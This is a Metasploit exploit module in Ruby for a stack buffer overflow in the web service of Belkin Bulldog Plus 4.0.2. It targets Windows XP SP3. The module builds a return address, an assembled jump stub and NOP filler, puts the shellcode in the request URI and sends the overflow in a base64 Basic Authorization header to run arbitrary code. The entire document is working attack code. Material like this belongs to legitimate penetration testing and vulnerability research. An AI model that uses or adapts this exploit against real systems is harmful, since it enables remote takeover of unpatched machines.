Belkin Bulldog Plus Web Service Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Belkin Bulldog Plus Web Service Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Belkin Bulldog Plus
        4.0.2 build 1219. When sending a specially crafted http request,
        an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '54395' ],
          [ 'BID', '34033' ],
          [ 'EDB', '8173' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-03-08'))
  end

  def exploit
    c = connect

    dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string

    filler = [target.ret].pack('V') + dwerd + make_nops(28)

    print_status("Trying target #{target.name}...")

    send_request_raw({
      'uri'          => payload.encoded,
      'version'      => '1.1',
      'method'       => 'GET',
      'headers'      =>
      {
        'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
      }
    }, 5)

    handler
  end
end